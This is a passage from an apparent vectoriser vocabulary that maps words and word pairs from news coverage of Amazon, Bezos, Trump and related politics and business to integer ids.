"heartening": 223469, "n7": 223470, "catz white": 223471, "confidentiality regarding": 223472, "press angrily": 223473, "bathing suit": 223474, "lifetime ago": 223475, "sexual encounter": 223476, "expert voices": 223477, "nearly trump": 223478, "just theater": 223479, "specifically linked": 223480, "unindicted": 223481, "federal insurance": 223482, "ladies sue": 223483, "takes readers": 223484, "crossed antarctica": 223485, "dimondstein president": 223486, "bombshell puts": 223487, "amazon buyout": 223488, "redlining complaint": 223489, "elections socialist": 223490, "fashioned newspaper": 223491, "abet": 223492, "readiness monitor": 223493, "barr delivered": 223494, "industry big": 223495, "merrill college": 223496, "credible explanation": 223497, "ebay proxy": 223498, "precedents": 223499, "make fortune": 223500, "soviet union": 223501, "america resettle": 223502, "product mix": 223503, "possible shutdown": 223504, "flexner": 223505, "reconsidered reuters": 223506, "high stakes": 223507, "smooth": 223508, "future landing": 223509, "simply opt": 223510, "alexa gadgets": 223511, "government chuck": 223512, "ore registered": 223513, "loneliness": 223514, "lingering illness": 223515, "know moreabout": 223516, "978 1733807302": 223517, "girlfriend los": 223518, "quarter shares": 223519, "selling face": 223520, "amounted": 223521, "question peterson": 223522, "bezos opened": 223523, "specific issues": 223524, "servers opposition": 223525, "obscure authors": 223526, "fund businesses": 223527, "pouches cnbc": 223528, "yelled cried": 223529, "bauer herald": 223530, "amzn accusing": 223531, "address separate": 223532, "minimize conflicts": 223533, "totally discriminating": 223534, "peak stupidity": 223535, "incentives maryland": 223536, "obsessive single": 223537, "stock photo": 223538, "andre": 223539, "political stripes": 223540, "rezoning process": 223541, "advocate special": 223542, "average declined": 223543, "icons sen": 223544, "photographer cuts": 223545, "jarrett copies": 223546, "canceled politico": 223547, "congresswoman grace": 223548, "mackenzie pursue": 223549, "media pecker": 223550, "152 points": 223551, "dershowitz": 223552, "sorts": 223553, "rescue worker": 223554, "realizing today": 223555, "post simply": 223556, "texas republicans": 223557, "deus ex": 223558, "heather": 223559, "latest tax": 223560, "demise cnbc": 223561, "economic future": 223562, "loveridge": 223563, "fair rate": 223564, "amazon financially": 223565, "us2 billion": 223566, "political folklore": 223567, "pushes americans": 223568, "nature conservancy": 223569, "nose investment": 223570, "intelligence options": 223571, "yamiche alcindor": 223572, "protests amazon": 223573, "nevis patriots": 223574, "warner closed": 223575, "fillers": 223576, "retailers appeal": 223577, "wilmington": 223578, "powerport atom": 223579, "conference introducing": 223580, "leases seritage": 223581, "just weird": 223582, "tangled web": 223583, "riccardi": 223584, "appoints": 223585, "biography trumpnation": 223586, "winning hq2": 223587, "country adventure": 223588, "lentil": 223589, "sec fines": 223590, "widening divide": 223591, "fate hinton": 223592, "dem talk": 223593, "source according": 223594, "status 1014138137147211777": 223595, "substantially": 223596, "hardware hacker": 223597, "grade math": 223598, "believe netflix": 223599, "wages josh": 223600, "straightforward journalistic": 223601, "decades including": 223602, "hello": 223603, "untrained": 223604, "n7 p7": 223605, "deportation cases": 223606, "yeah elon": 223607, "honorable": 223608, "state begins": 223609, "summit farmers": 223610, "situations develop": 223611, "secret region": 223612, "news stations": 223613, "author talks": 223614, "election aljazeera": 223615, "twisted trump": 223616, "national counterparts": 223617, "avoid talking": 223618, "scandal chicago": 223619, "american lawmakers": 223620, "geometry": 223621, "satellite": 223622, "says threaten": 223623, "specific business": 223624, "superbly successful": 223625, "particularly concerning": 223626, "combinator": 223627, "renowned architect": 223628, "videotape lebeau": 223629, "index bezos": 223630, "group north": 223631, "human beings": 223632, "107 billion": 223633, "achievements": 223634, "beast maxwell": 223635, "things subsidies": 223636, "prophet": 223637, "broadens look": 223638, "lower earlier": 223639, "amendment nyt": 223640, "job trump": 223641, "granddaughter": 223642, "elber sent": 223643, "straight fortunately": 223644, "william barr": 223645, "held book": 223646, "gain": 223647, "thrust": 223648, "sisnama body": 223649, "discover america": 223650, "block ads": 223651, "t000002771 t000002774": 223652, "improve stewardship": 223653, "antitrust trump": 223654, "criminalization": 223655, "bezos climbed": 223656, "postal officials": 223657, "national policy": 223658, "spend 230m": 223659, "significant impact": 223660, "long expressed": 223661, "defendants": 223662, "oaks": 223663, "hasn returned": 223664, "reimbursements": 223665, "holdings principal": 223666, "fix real": 223667, "usually return": 223668, "reporting operation": 223669, "failed": 223670, "potassium hydrochlorothiazide": 223671, "aws china": 223672, "oversight investigations": 223673, "jobs act": 223674, "plant near": 223675, "rally trump": 223676, "piedmont alabama": 223677, "traditional retail": 223678, "responds publicly": 223679, "closest trading": 223680, "consultations": 223681, "municipal voting": 223682, "midday ibm": 223683, "linnane": 223684, "news football": 223685, "reach peak": 223686, "quickly repealed": 223687, "including suspected": 223688, "montana sole": 223689, "chrysler ceo": 223690, "binge tbc": 223691, "prime subscribers": 223692, "josh jordan": 223693, "post covers": 223694, "joint op": 223695, "father built": 223696, "discrepancy": 223697, "city agreed": 223698, "default guaranteed": 223699, "celebrated american": 223700, "assumption apart": 223701, "related consumer": 223702, "republicans voted": 223703, "short 2018": 223704, "witchcraft": 223705, "business policies": 223706, "just pooh": 223707, "witnessing unicorn": 223708, "emerged wearing": 223709, "contact customer": 223710, "promised massive": 223711, "corrections": 223712, "ultimate validation": 223713, "suits arsenic": 223714, "forum the_donald": 223715, "worth paying": 223716, "organizational culture": 223717, "burgeoning": 223718, "stock tips": 223719, "wife ann": 223720, "false public": 223721, "allow powerpoint": 223722, "brotherhood": 223723, "cost nearly": 223724, "policy expert": 223725, "sex haze": 223726, "law secretary": 223727, "000 outlets": 223728, "connected world": 223729, "growth bartiromo": 223730, "unassailable": 223731, "years sanders": 223732, "political flaps": 223733, "value shira": 223734, "capitulate": 223735, "teva analysts": 223736, "drugstore chains": 223737, "customer cost": 223738, "risk amazon": 223739, "don wait": 223740, "kb": 223741, "explosions ben": 223742, "connected audience": 223743, "home read": 223744, "outrperform bullish": 223745, "storm investors": 223746, "comfortable holding": 223747, "hand amazon": 223748, "promised benefits": 223749, "stupidest joke": 223750, "viable transportation": 223751, "situated dominant": 223752, "states right": 223753, "deepening": 223754, "uses change": 223755, "modeling predicts": 223756, "opponents targeted": 223757, "jersey": 223758, "overwhelms": 223759, "axios hbo": 223760, "campus hiring": 223761, "charges philip": 223762, "inexpensive acquisition": 223763, "hirscher locked": 223764, "meaningful process": 223765, "scrooged": 223766, "treatment services": 223767, "macroeconomic justification": 223768, "president spoke": 223769, "humiliation": 223770, "massive defense": 223771, "attached screenshot": 223772, "dnc": 223773, "wonderful book": 223774, "affect carriers": 223775, "road sewer": 223776, "pecker daily": 223777, "charles evans": 223778, "efe": 223779, "jeff brownlee": 223780, "quick construction": 223781, "fla shooter": 223782, "ballast": 223783, "facts regarding": 223784, "alger": 223785, "prodded": 223786, "digital trackers": 223787, "mail express": 223788, "strategies mentioned": 223789, "target isn": 223790, "competitors liberal": 223791, "playbook probably": 223792, "lately surrounds": 223793, "speak critically": 223794, "undefined thumbimageelem": 223795, "historical amzn": 223796, "plus channels": 223797, "counter sues": 223798, "empt state": 223799, "nordstrom": 223800, "dna evidence": 223801, "doj lawsuit": 223802, "post representatives": 223803, "message suggests": 223804, "work school": 223805, "shipping movie": 223806, "trump criticism": 223807, "trade zones": 223808, "reunited months": 223809, "adventitious agents": 223810, "transatlantic past": 223811, "personalize items": 223812, "dave limp": 223813, "ranching account": 223814, "politics richard": 223815, "violently reject": 223816, "optimal amazon": 223817, "gentlemen": 223818, "fanhua announced": 223819, "q4 2018": 223820, "mass shipments": 223821, "scheduled testimony": 223822, "hoodies": 223823, "splc know": 223824, "structured saying": 223825, "tough says": 223826, "announcement": 223827, "yorker presents": 223828, "true think": 223829, "favorite nalgene": 223830, "brother michael": 223831, "unfinished": 223832, "planning": 223833, "log error": 223834, "heightened": 223835, "weinberger pepsico": 223836, "russian writer": 223837, "taken decidedly": 223838, "fastest growing": 223839, "ani": 223840, "alejandro solalinde": 223841, "courtney": 223842, "tax critics": 223843, "tuition dollars": 223844, "anonymous author": 223845, "vendor amazon": 223846, "alcoholism": 223847, "duckworth durbin": 223848, "deficient world": 223849, "start making": 223850, "series film": 223851, "schuster presided": 223852, "david goodman": 223853, "words ami": 223854, "studies program": 223855, "passed warren": 223856, "mike blake": 223857, "chen": 223858, "buy clothes": 223859, "causing rampant": 223860, "trump supporting": 223861, "curbed": 223862, "congress identifying": 223863, "jamieson": 223864, "local regulations": 223865, "cheddar": 223866, "chief stockholder": 223867, "russian accounts": 223868, "transportation district": 223869, "tidbits": 223870, "office buildings": 223871, "possible sale": 223872, "usps makes": 223873, "strike china": 223874, "foreign meddling": 223875, "delivery revenue": 223876, "aggressive pricing": 223877, "wherewithal": 223878, "stock watch": 223879, "medical examiner": 223880, "photo sofie": 223881, "refused amazon": 223882, "requires defense": 223883, "illustrating": 223884, "amazon dumbfounded": 223885, "aggression": 223886, "congressional testimony": 223887, "margery": 223888, "education immigration": 223889, "making firearms": 223890, "trump fan": 223891, "rainfall": 223892, "c8 d8": 223893, "global order": 223894, "criticisms fall": 223895, "losing company": 223896, "morgan conference": 223897, "compromising circumstances": 223898, "enforcement efforts": 223899, "worth 400": 223900, "palatable": 223901, "target add": 223902, "1007 medium": 223903, "tabloid threats": 223904, "scripts holding": 223905, "glide path": 223906, "assistant confirmed": 223907, "disrupt black": 223908, "inevitable reuters": 223909, "greer yeah": 223910, "treats airs": 223911, "cultivate ties": 223912, "camera appearance": 223913, "pennsylvania railroad": 223914, "francisco undocumented": 223915, "ap search": 223916, "year persistent": 223917, "parent input": 223918, "nationalinterest org": 223919, "performs": 223920, "amazon rally": 223921, "arued": 223922, "representing close": 223923, "amzn predicted": 223924, "trump displeasure": 223925, "moved citing": 223926, "adoption agency": 223927, "netizen suggested": 223928, "year repeatedly": 223929, "factual errors": 223930, "packages billions": 223931, "legal monopoly": 223932, "rid north": 223933, "typeof u9": 223934, "citing officials": 223935, "friendly federal": 223936, "shortchanging": 223937, "garage ceiling": 223938, "path alice": 223939, "potential anti": 223940, "express carriers": 223941, "hq2 selections": 223942, "a266": 223943, "vaccines including": 223944, "playerid contentid": 223945, "stars jeff": 223946, "sanchez accused": 223947, "billion zuckerberg": 223948, "multibillionare ready": 223949, "actually hurts": 223950, "amazon girl": 223951, "widely believed": 223952, "kamala": 223953, "new team": 223954, "services running": 223955, "email washington": 223956, "republican initiatives": 223957, "advisor donnelly": 223958, "provide meaningful": 223959, "funded bailout": 223960, "wage increase": 223961, "finds lacking": 223962, "business rivals": 223963, "book blessed": 223964, "negotiate confidential": 223965, "offsetting": 223966, "ytd gap": 223967, "iterative programming": 223968, "legislature step": 223969, "signature stamps": 223970, "tornadoes london": 223971, "buzzfeed story": 223972, "chris king": 223973, "broadcasts abc": 223974, "torsten sl\u00f8k": 223975, "jake sherman": 223976, "ollstein reports": 223977, "een": 223978, "biopic": 223979, "emailed statements": 223980, "brain training": 223981, "teenaged": 223982, "home truths": 223983, "life laura": 223984, "auto parts": 223985, "comprehensive solution": 223986, "dictatorial budget": 223987, "josh sandbulte": 223988, "discount grocer": 223989, "great hand": 223990, "private investigators": 223991, "pinged jeffries": 223992, "sell books": 223993, "sec continental": 223994, "batali": 223995, "brian people": 223996, "milestones pioneering": 223997, "capitalist structures": 223998, "taken keen": 223999, "president ire": 224000, "doesn support": 224001, "waterford": 224002, "axios according": 224003, "tweeted using": 224004, "industry": 224005, "elections considering": 224006, "delivery fedex": 224007, "low pricing": 224008, "mtp": 224009, "aerospace incumbents": 224010, "collection feels": 224011, "coons jeff": 224012, "simply fact": 224013, "really think": 224014, "change cnn": 224015, "velvet wallpaper": 224016, "twinpeaks": 224017, "bankrupt bezos": 224018, "trump stoked": 224019, "turn": 224020, "wfaries bloomberg": 224021, "contributor donny": 224022, "wage pressure": 224023, "little chance": 224024, "cornucopia": 224025, "douglas county": 224026, "danrather": 224027, "leaky amazon": 224028, "trump stooge": 224029, "endure": 224030, "king ideas": 224031, "future engineer": 224032, "goitein": 224033, "khashoggi post": 224034, "threateningly": 224035, "direct step": 224036, "nextvideoplaytimeout": 224037, "arrive don": 224038, "elections content": 224039, "x0 o2x": 224040, "meeting civil": 224041, "fdx advsrs": 224042, "live free": 224043, "usdo": 224044, "woods banned": 224045, "presenting fewer": 224046, "virginia short": 224047, "officials resistance": 224048, "revenue generated": 224049, "blue coat": 224050, "possible rate": 224051, "debt issue": 224052, "huge big": 224053, "newest intern": 224054, "claimed publishing": 224055, "2010 heavily": 224056, "marc fisher": 224057, "help shift": 224058, "councilmembers": 224059, "potential rewards": 224060, "r4ee h4e": 224061, "showtime content": 224062, "american progress": 224063, "julian": 224064, "actual morals": 224065, "view according": 224066, "guardian eu": 224067, "george route": 224068, "people accusing": 224069, "water urine": 224070, "playing tax": 224071, "billion disruptor": 224072, "specific animal": 224073, "knife": 224074, "detroit metro": 224075, "services mission": 224076, "benefits david": 224077, "critics argue": 224078, "charlotte surely": 224079, "pep talk": 224080, "lost fortune": 224081, "collapse baseball": 224082, "disconnect": 224083, "opponents took": 224084, "free checkout": 224085, "fables": 224086, "simple just": 224087, "chefsgiving airs": 224088, "picnic ready": 224089, "2016 silicon": 224090, "transparency accountability": 224091, "constitutionality": 224092, "making meaningful": 224093, "families including": 224094, "accenture 2q": 224095, "fraudulent documentation": 224096, "called wall": 224097, "supernatural powers": 224098, "congress allows": 224099, "rewards": 224100, "democrat jim": 224101, "scuttles": 224102, "amazon notably": 224103, "eliminating north": 224104, "chris pratt": 224105, "staffers brought": 224106, "decent": 224107, "barron reported": 224108, "story rasing": 224109, "adding businesses": 224110, "benettons": 224111, "billion erased": 224112, "officials disparaging": 224113, "turnkey": 224114, "elections ukip": 224115, "visions": 224116, "evade radar": 224117, "straws": 224118, "hudson institute": 224119, "aseem prakash": 224120, "make blue": 224121, "account republicans": 224122, "nasdaq exas": 224123, "wayward": 224124, "error subscribe": 224125, "funding stream": 224126, "1a": 224127, "latest fling": 224128, "fellow health": 224129, "jfk": 224130, "electronic eavesdropping": 224131, "maid": 224132, "ambitious carbon": 224133, "cheapskates storage": 224134, "enquirer ef": 224135, "contains secret": 224136, "colbert wisecracked": 224137, "duck congress": 224138, "administration worked": 224139, "utah designed": 224140, "excited honored": 224141, "general profile": 224142, "warren huge": 224143, "wholesale trade": 224144, "maximize": 224145, "utterly consumed": 224146, "watched twitter": 224147, "bse": 224148, "selling apartments": 224149, "board businesses": 224150, "site communicate": 224151, "bias results": 224152, "government customers": 224153, "unfortunately dc": 224154, "king published": 224155, "teaching moment": 224156, "thatwe reported": 224157, "prosector kym": 224158, "million print": 224159, "poll published": 224160, "noted social": 224161, "hipster style": 224162, "operative stone": 224163, "signees included": 224164, "parenthood does": 224165, "asks form": 224166, "reits": 224167, "shane goldmacher": 224168, "constrained": 224169, "place president": 224170, "picture getty": 224171, "news straight": 224172, "red line": 224173, "amzn beat": 224174, "heat leading": 224175, "signature widely": 224176, "jarrett": 224177, "pay leading": 224178, "begin": 224179, "tax savings": 224180, "230 000": 224181, "military dominance": 224182, "boston harbor": 224183, "unsustainable financial": 224184, "manipulating devices": 224185, "eavesdropping apple": 224186, "west told": 224187, "command": 224188, "methylene chloride": 224189, "damaging allegations": 224190, "bring aws": 224191, "including energy": 224192, "company work": 224193, "coverage displeased": 224194, "quarter growth": 224195, "listed series": 224196, "gemmy industries": 224197, "ultimately provide": 224198, "film tax": 224199, "bowden northwest": 224200, "essay": 224201, "senator jeff": 224202, "honan samantha": 224203, "boxes myles": 224204, "autos video": 224205, "struggling schools": 224206, "rec badcustomerexperience": 224207, "tip kristin": 224208, "swiping": 224209, "dollar loses": 224210, "goofily stated": 224211, "juggernauts continue": 224212, "nearly insignificant": 224213, "sluggish margins": 224214, "memorabilia": 224215, "justin theroux": 224216, "restaurant maiella": 224217, "share descriptiontext": 224218, "uncrewed": 224219, "literary tradition": 224220, "clearer": 224221, "roundup gov": 224222, "amazon siriously": 224223, "poa": 224224, "tsorf33": 224225, "focused media": 224226, "maneuver": 224227, "called political": 224228, "ge ceo": 224229, "parents husband": 224230, "war experts": 224231, "interestingly following": 224232, "walgreens nasdaq": 224233, "captured trump": 224234, "disarmament north": 224235, "space called": 224236, "cases dangerous": 224237, "wall cable": 224238, "order calling": 224239, "cnn isembeddable": 224240, "board functional": 224241, "report seema": 224242, "raffaele": 224243, "umwa": 224244, "added cost": 224245, "living room": 224246, "stories northern": 224247, "want streaming": 224248, "grand tour": 224249, "view sheila": 224250, "proposed green": 224251, "model new": 224252, "shrunk": 224253, "thermal": 224254, "week earlyjoin": 224255, "poking": 224256, "costing postal": 224257, "people retires": 224258, "wheeler": 224259, "trump communications": 224260, "blog 2018": 224261, "lk9f2htpng glenn": 224262, "house ryan": 224263, "gmg": 224264, "upscale retailers": 224265, "renegotiation": 224266, "soba noodles": 224267, "keeping customers": 224268, "stores giving": 224269, "pressed amazon": 224270, "billion sen": 224271, "per\u00f3n": 224272, "sites plus": 224273, "cortez favorability": 224274, "greater flexibility": 224275, "dollar opportunities": 224276, "crime spoof": 224277, "called attilan": 224278, "target list": 224279, "conservatives house": 224280, "include airbnb": 224281, "statistical areas": 224282, "million refund": 224283, "public information": 224284, "hldg": 224285, "harsh border": 224286, "statutes": 224287, "gene testing": 224288, "haspolitical motivations": 224289, "digit tax": 224290, "content relive": 224291, "government measure": 224292, "palos": 224293, "agree nyt": 224294, "rick scott": 224295, "human smuggling": 224296, "south powerpic": 224297, "trump directed": 224298, "stocks worst": 224299, "favorable terms": 224300, "spawned surge": 224301, "tribe says": 224302, "weakness helping": 224303, "local employment": 224304, "calgary canada": 224305, "mahaney told": 224306, "hardware ceo": 224307, "detain undocumented": 224308, "truth tell": 224309, "hearing facebook": 224310, "guilfoyle jim": 224311, "oracle microsoft": 224312, "previously investigated": 224313, "quinnipiac": 224314, "strong bills": 224315, "song": 224316, "novels bezos": 224317, "bermuda second": 224318, "startup watchers": 224319, "030 unch": 224320, "power president": 224321, "estate word": 224322, "drug abusing": 224323, "rough lost": 224324, "material support": 224325, "pageants": 224326, "votes expected": 224327, "including word": 224328, "exulted": 224329, "actually contribute": 224330, "regulations ideo": 224331, "freedberg jr": 224332, "taking steps": 224333, "food amazon": 224334, "powered home": 224335, "phrases fake": 224336, "denials": 224337, "barrel today": 224338, "manger customer": 224339, "week eh": 224340, "2017 following": 224341, "severe shortage": 224342, "america single": 224343, "tribune carried": 224344, "domain currentvidobj": 224345, "jumped showing": 224346, "work consider": 224347, "denied gavin": 224348, "softened little": 224349, "send packages": 224350, "received prophetic": 224351, "rule does": 224352, "41775805 960x0": 224353, "real collusion": 224354, "amazon fans": 224355, "ceos challenging": 224356, "discount goods": 224357, "duties": 224358, "ultimate leader": 224359, "david smith": 224360, "say excuse": 224361, "symbolism snapshot": 224362, "way north": 224363, "corporate lobbyists": 224364, "actually bought": 224365, "o4": 224366, "stake amazon": 224367, "great shopping": 224368, "auditor provided": 224369, "administration halted": 224370, "medill": 224371, "communal": 224372, "ragehole": 224373, "searching online": 224374, "t4": 224375, "america according": 224376, "service thinking": 224377, "services operation": 224378, "example": 224379, "markets doing": 224380, "violent ideologies": 224381, "commons amazon": 224382, "cardigan": 224383, "place 500": 224384, "denies having": 224385, "hindi": 224386, "peek": 224387, "aides denied": 224388, "implementation": 224389, "estate magnate": 224390, "composed": 224391, "v8": 224392, "faced scrutiny": 224393, "sanchez lauren": 224394, "trump evil": 224395, "new hit": 224396, "mb wb": 224397, "management fund": 224398, "companies buying": 224399, "annual video": 224400, "bobbie kilberg": 224401, "example instigating": 224402, "loom": 224403, "beloved company": 224404, "dollar stocks": 224405, "best adamcbest": 224406, "tech nutanix": 224407, "avoid disclosure": 224408, "implicating prime": 224409, "rainforest led": 224410, "crippling injuries": 224411, "later chairman": 224412, "operating today": 224413, "nonfarm payrolls": 224414, "monitor tech": 224415, "y29uc3rydwn0b3i 0r3wioxgeh": 224416, "took away": 224417, "office disputed": 224418, "bad donald": 224419, "washington glitterati": 224420, "shielding": 224421, "workers available": 224422, "flower": 224423, "derision": 224424, "instincts ray": 224425, "seminal": 224426, "2000 2019": 224427, "trump picked": 224428, "timed acquisitions": 224429, "meteorologist craig": 224430, "union jobs": 224431, "restarted talks": 224432, "twang ocasio": 224433, "hack jam": 224434, "song rich": 224435, "sessions speaks": 224436, "sacrificed": 224437, "salles ruled": 224438, "aut_usrid": 224439, "tweet donald": 224440, "rights rsvp": 224441, "pouring": 224442, "8990 6gb": 224443, "experience resembles": 224444, "story kissinger": 224445, "halts sales": 224446, "2019 eu": 224447, "earnings guidance": 224448, "news newswatch": 224449, "quality content": 224450, "dash cam": 224451, "us50": 224452, "price story": 224453, "launching new": 224454, "wme patrick": 224455, "ami directed": 224456, "largest drop": 224457, "nesting": 224458, "angles including": 224459, "narendra modi": 224460, "specific businesses": 224461, "net 2018": 224462, "scrum": 224463, "beach sanchez": 224464, "tax loophole": 224465, "estate friends": 224466, "tish": 224467, "miranda super": 224468, "posted numerous": 224469, "writer killed": 224470, "suisse analyst": 224471, "extended embarrassment": 224472, "assistant donnelly": 224473, "stickers bearing": 224474, "2017 buffett": 224475, "major national": 224476, "malinowski yes": 224477, "state product": 224478, "season apple": 224479, "devaluation": 224480, "marty zweig": 224481, "took power": 224482, "cbp website": 224483, "new expose": 224484, "finalist bid": 224485, "computing operation": 224486, "gaiman amazon": 224487, "k7bceiovv9 ross": 224488, "candidates including": 224489, "posts new": 224490, "mcdonnell": 224491, "107bn": 224492, "having outspoken": 224493, "took note": 224494, "halliburton": 224495, "schmitt says": 224496, "bezos robert": 224497, "people working": 224498, "tree dltr": 224499, "later accused": 224500, "costs associated": 224501, "obama guy": 224502, "court pivots": 224503, "told huffpost": 224504, "uspo": 224505, "en peter": 224506, "ju wrote": 224507, "extremely significant": 224508, "added just": 224509, "encourages businesses": 224510, "rosenberg wrote": 224511, "sees": 224512, "amazon mattis": 224513, "new sp": 224514, "environmental religious": 224515, "maker mark": 224516, "098 trillion": 224517, "giant founded": 224518, "intern": 224519, "incubator based": 224520, "lawsuit alleged": 224521, "reported efforts": 224522, "reduced competition": 224523, "alibaba foray": 224524, "signed petition": 224525, "change questions": 224526, "raphaella baek": 224527, "unseen": 224528, "ryan brady": 224529, "us500b": 224530, "bechtold": 224531, "unlovable": 224532, "197m": 224533, "levy upwards": 224534, "distinguished amazon": 224535, "package destination": 224536, "amazon partnership": 224537, "defeating ways": 224538, "force leader": 224539, "ami pledged": 224540, "independent regulatory": 224541, "office deliver": 224542, "brian 230": 224543, "simulating": 224544, "favour": 224545, "just fedex": 224546, "book death": 224547, "decades joel": 224548, "assessment interface": 224549, "happen mean": 224550, "tonight maura": 224551, "commercial appeal": 224552, "bezos rice": 224553, "devito": 224554, "cra": 224555, "changesshifts": 224556, "code available": 224557, "annie": 224558, "prompted amazon": 224559, "year campaign": 224560, "ceo baptist": 224561, "scenes maybe": 224562, "large truck": 224563, "researchers": 224564, "offered hundreds": 224565, "having fairly": 224566, "banks allowed": 224567, "news make": 224568, "shift leftward": 224569, "franchising": 224570, "ontologically": 224571, "impeachable": 224572, "issues fedex": 224573, "investing money": 224574, "nixonian": 224575, "analyst brent": 224576, "judiciary": 224577, "amazon took": 224578, "charter operators": 224579, "emet": 224580, "ultra millionaire": 224581, "majority ms": 224582, "media rival": 224583, "perseverance": 224584, "highly infused": 224585, "fedex claims": 224586, "offering base": 224587, "large campus": 224588, "viewpoint amazon": 224589, "exercise prime": 224590, "tm ire": 224591, "exclusivity": 224592, "atlantic ronald": 224593, "company approaches": 224594, "cost inflation": 224595, "gun regulations": 224596, "regulatory review": 224597, "shares military": 224598, "piece note": 224599, "electrical signaling": 224600, "carefree": 224601, "related stocks": 224602, "analyst sees": 224603, "positive quarterly": 224604, "canada new": 224605, "rammed": 224606, "discount ar": 224607, "2019 veteran": 224608, "added incentives": 224609, "google saying": 224610, "techno thriller": 224611, "169 jpg": 224612, "bezos posted": 224613, "spanking children": 224614, "billion markets": 224615, "hotline bling": 224616, "day long": 224617, "teased": 224618, "corp cgc": 224619, "mowing griffeth": 224620, "amazon 148": 224621, "nudge virginia": 224622, "lengthy prepared": 224623, "soon u003c": 224624, "breach linked": 224625, "fluctuations": 224626, "nukes tech": 224627, "market isn": 224628, "capacity": 224629, "greatest number": 224630, "shoot pr": 224631, "lakshmi": 224632, "vulnerabilities facing": 224633, "raw grief": 224634, "governorandrew": 224635, "face accusations": 224636, "franzen": 224637, "rental": 224638, "washington story": 224639, "profound understatement": 224640, "project unlike": 224641, "makes strange": 224642, "mcclatchy": 224643, "plagiarism allegations": 224644, "cristian benavides": 224645, "axt": 224646, "brian dennett": 224647, "obama christened": 224648, "share accumulation": 224649, "lawsuit brought": 224650, "unprofitable postal": 224651, "history books": 224652, "good scare": 224653, "amazon lower": 224654, "progressive democratic": 224655, "heritage shows": 224656, "180917225659912 html": 224657, "choice dawn": 224658, "factions": 224659, "jointly funded": 224660, "continued secular": 224661, "innocent insane": 224662, "interacting": 224663, "reports spread": 224664, "spokesperson melissa": 224665, "domicile": 224666, "trump behalf": 224667, "mortgages especially": 224668, "seeks": 224669, "sweepstakes feel": 224670, "post abc": 224671, "climbed led": 224672, "orwell seminal": 224673, "florida county": 224674, "christian white": 224675, "president past": 224676, "coons del": 224677, "includes lawyers": 224678, "hq2 venue": 224679, "says tom": 224680, "adds value": 224681, "futures tumble": 224682, "pepsico indra": 224683, "working quickly": 224684, "nelson cunningham": 224685, "services annual": 224686, "p2380057": 224687, "main challenger": 224688, "similar service": 224689, "forbezos": 224690, "hall miller": 224691, "slavica radic18": 224692, "throw sandbags": 224693, "velvet blazer": 224694, "increasing dominance": 224695, "bezos leads": 224696, "police flagged": 224697, "members deployed": 224698, "desegregation": 224699, "colleague brooks": 224700, "workforce centre": 224701, "opportunity writes": 224702, "congressional hearings": 224703, "wash": 224704, "moment look": 224705, "foreign company": 224706, "charts cramer": 224707, "reputation ranking": 224708, "thecommunity": 224709, "advertising time": 224710, "mid 1990s": 224711, "poet william": 224712, "time alum": 224713, "market downturn": 224714, "avril": 224715, "2008": 224716, "amazon backed": 224717, "awaited biography": 224718, "warren specifically": 224719, "amazon used": 224720, "packages sent": 224721, "offer nearly": 224722, "naps": 224723, "failed attempt": 224724, "catcalls": 224725, "street estimate": 224726, "ms sandberg": 224727, "retail equation": 224728, "admirable thing": 224729, "existing": 224730, "enjoying life": 224731, "ubiquitous virtual": 224732, "best day": 224733, "apple phone": 224734, "highly inappropriate": 224735, "article37880097": 224736, "vegetables": 224737, "containerid contentid": 224738, "news usa": 224739, "near train": 224740, "postnuptial": 224741, "2019 dailyrecord": 224742, "largest sector": 224743, "ties unless": 224744, "right greer": 224745, "live trading": 224746, "area lauren": 224747, "transformation initiative": 224748, "louche cast": 224749, "preschool montessori": 224750, "used blind": 224751, "del polito": 224752, "connections social": 224753, "spencer big": 224754, "hmm mcdowell": 224755, "minority pay": 224756, "easily include": 224757, "taiwanese electronics": 224758, "successfully changed": 224759, "massive expansion": 224760, "nyt says": 224761, "users shared": 224762, "immediately attendees": 224763, "transit authority": 224764, "daddy pays": 224765, "revenue memo": 224766, "website read": 224767, "overland park": 224768, "forest coffee": 224769, "video laughing": 224770, "good marketing": 224771, "israel best": 224772, "ceo personal": 224773, "repeat bonus": 224774, "expects sales": 224775, "elaina": 224776, "people boycotting": 224777, "week proves": 224778, "centric company": 224779, "tasks undertake": 224780, "frequently turns": 224781, "reform campaign": 224782, "service strongly": 224783, "morning nov": 224784, "worldwide requires": 224785, "ann patrick": 224786, "marlins": 224787, "press threatened": 224788, "break away": 224789, "services procurements": 224790, "captivity": 224791, "370 shares": 224792, "procompetitive hatch": 224793, "brunt": 224794, "murder house": 224795, "credible publication": 224796, "complete coincidence": 224797, "reneg": 224798, "succeed": 224799, "state choices": 224800, "parallel investigations": 224801, "aws multi": 224802, "girl scouts": 224803, "stages": 224804, "rwdsu added": 224805, "fake resellers": 224806, "department inspector": 224807, "neutrality amazon": 224808, "enquirer sanchez": 224809, "faking search": 224810, "product reviews": 224811, "kentucky amazon": 224812, "set political": 224813, "open sourced": 224814, "031": 224815, "americans living": 224816, "sackler": 224817, "anthem trump": 224818, "500 stands": 224819, "ice releasing": 224820, "center police": 224821, "devon": 224822, "birth certificate": 224823, "giant monopolies": 224824, "respected": 224825, "leg jeans": 224826, "michael smith": 224827, "email exchange": 224828, "joe hosts": 224829, "interpreting": 224830, "08m": 224831, "ideology instead": 224832, "hank barnes": 224833, "google agreeing": 224834, "528 bought": 224835, "raised wages": 224836, "iphone buying": 224837, "appears hell": 224838, "supremely witty": 224839, "motel": 224840, "fact missing": 224841, "elite endurance": 224842, "jolted": 224843, "810": 224844, "old student": 224845, "court south": 224846, "gripping narratives": 224847, "fall yes": 224848, "entry executive": 224849, "influence users": 224850, "blumenthal countered": 224851, "language services": 224852, "justice dept": 224853, "creep": 224854, "feed america": 224855, "media contact": 224856, "making money": 224857, "iconic post": 224858, "reportorial": 224859, "approval regardless": 224860, "asp": 224861, "somewhat": 224862, "reasonable view": 224863, "hanze alberts": 224864, "960 31m": 224865, "little consequence": 224866, "learning moment": 224867, "uis": 224868, "process payments": 224869, "smiled": 224870, "liberals rip": 224871, "later date": 224872, "trump mass": 224873, "jurisdiction": 224874, "100 financial": 224875, "ami amounted": 224876, "security source": 224877, "probation": 224878, "months 2018": 224879, "past presidential": 224880, "2018 ownzones": 224881, "launched build": 224882, "registered effort": 224883, "sector peek": 224884, "threat unless": 224885, "dished": 224886, "election deforestation": 224887, "stingiest billionaires": 224888, "did bite": 224889, "usa economy": 224890, "walters loss": 224891, "2018 tony": 224892, "economic stories": 224893, "nightime running": 224894, "headquarters crowning": 224895, "hire trump": 224896, "regularly cites": 224897, "world report": 224898, "showdetailsspancontent gigyashareelement": 224899, "mere toy": 224900, "company leader": 224901, "insular world": 224902, "horvers wrote": 224903, 